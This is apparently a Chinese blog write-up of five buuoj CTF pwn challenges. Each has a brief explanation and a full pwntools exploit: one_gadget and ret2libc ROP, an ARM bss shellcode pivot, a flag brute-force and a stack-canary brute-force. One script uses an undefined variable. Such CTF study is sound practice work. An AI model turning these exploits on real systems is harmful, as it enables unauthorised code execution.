buuoj Pwn writeup 251-255

251 pwnable.kr_exploitable

在这里插入图片描述
在这里插入图片描述
就这么一点。

leak_memory
在这里插入图片描述先是泄露了bss_start里的数值,然后可以输入一个函数,执行那里的代码。

from pwn import *

context.log_level='debug'

r = remote("node4.buuoj.cn", 26058)
#r = process("./251")

libc = ELF("./32/libc-2.23.so")

libc_base = u32(r.recv(4)) - libc.sym['_IO_2_1_stdout_']
print "libc_base = " + hex(libc_base)

one_gadget = libc_base + 0x3a80c

r.sendline(str(one_gadget - 0x100000000))
#因为scanf用的是%d,直接输入数字太大,会被截断成0x7fffffff,所以必须输入负数

r.interactive()

252 鹏城杯_2018_code

在这里插入图片描述
在这里插入图片描述输入的字符必须是可见字符,然后通过加密函数。

在这里插入图片描述在这里插入图片描述输入的字符要满足迭代加起来之后等于外面那个值,然后就会进入可以利用的函数里面。

在这里插入图片描述
是一个栈溢出,直接rop就可以。

所以咱先研究那个你输入点啥这个解密问题。
得写个算法。

exp

from pwn import *

context(log_level='debug',arch='amd64')

r = remote("node4.buuoj.cn",25080)

elf = ELF("./252")
libc = ELF("./64/libc-2.27.so")

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
have_fun=0x400801
pop_rdi_ret=0x400983
ret=0x40055e

r.sendline('wyBTs')
r.recv()

payload='a' * 0x78 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(have_fun)
r.sendline(payload)
r.recvuntil('\x0a')

puts_addr=u64(r.recv(6).ljust(8,'\x00')) 
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()

payload='a' * 0x78 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)

r.sendline(payload)

r.interactive() 

253 inctf2018_wARMup

在这里插入图片描述
在这里插入图片描述在这里插入图片描述显然有个栈溢出。

利用两个gadget。
在这里插入图片描述在这里插入图片描述arm的bss段都是可执行的。
所以迁移过去yongshellcode就可以了。

exp

from pwn import *

r = process(["qemu-arm","-L", "./", "./wARMup"])

elf=ELF('./wARMup')
context.log_level='debug'
context.arch='arm'

offset=0x68
#0x00010364 : pop {r3, pc}
payload=b'a'*(offset-4)+p32(elf.bss())
payload+=p32(0x00010364)+p32(elf.bss())+p32(0x00010530)#gadget r3   pc

r.recvuntil('Welcome to bi0s CTF!')
r.sendline(payload)
shellcode = asm(shellcraft.sh())

r.sendline(p32(elf.bss() + 4) + shellcode)
r.interactive()

254 jarvisoj_guess

在这里插入图片描述
在这里插入图片描述逻辑简单。

在这里插入图片描述就是转换没有检查flag_hex值是否向上越界,如果向上越界,我们可以令flag_hex[i]为’0’,而flag_hex[i+1]为offset,那么如果取到上面v4的内容,就能通过比较。

exp

#coding:utf8
from pwn import *
 
#预先生成一个可以pass的payload
payload = ''
for i in range(50):
   payload += '0'
   payload += p8(0x100-0x40 + i)
 
r = remote('node3.buuoj.cn',28532)

flag = ''
for i in range(1,51):
   print "guess the index {}'s char".format(i)
   for c in range(32,128):
      pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:]
      r.sendlineafter('guess> ',pay)
      ans = r.recvuntil('\n')
      if 'Yaaaay!' in ans:
         flag += chr(c)
         break
   print 'flag=',flag
 
r.close()

255 picoctf_2018_buffer overflow 3

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

canary从文件读的,读到了bss。

在这里插入图片描述
因为文件内容不变,直接爆破就好。

#coding:utf8
from pwn import *
 
shell = ssh(host='node4.buuoj.cn', user='CTFMan', port=29807, password='guest')

context.log_level = "critical"
#只输出alert和emergency这两种错误等级的信息
 
canary = ''
for i in range(4):
   for c in range(0xFF):
      r = shell.process('./vuln')
      r.sendlineafter('>','-1')
      payload = 'a'*0x20 + canary + p8(c)
      r.sendafter('Input>',payload)
      r.recv(1)
      ans = sh.recv()
      if 'Canary Value Corrupt!' not in ans:
         print 'success guess the index({}),value({})'.format(i,c)
         canary += p8(c)
         break
      else:
         print 'try to guess  the index({}) value'.format(i)
      r.close()
      
print 'canary=',canary
payload = 'a'*0x20 + canary + p32(0)*4 + p32(0x080486EB)
r = shell.process('./vuln')
r.sendlineafter('>','-1')
r.sendafter('Input>',payload)
 
r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值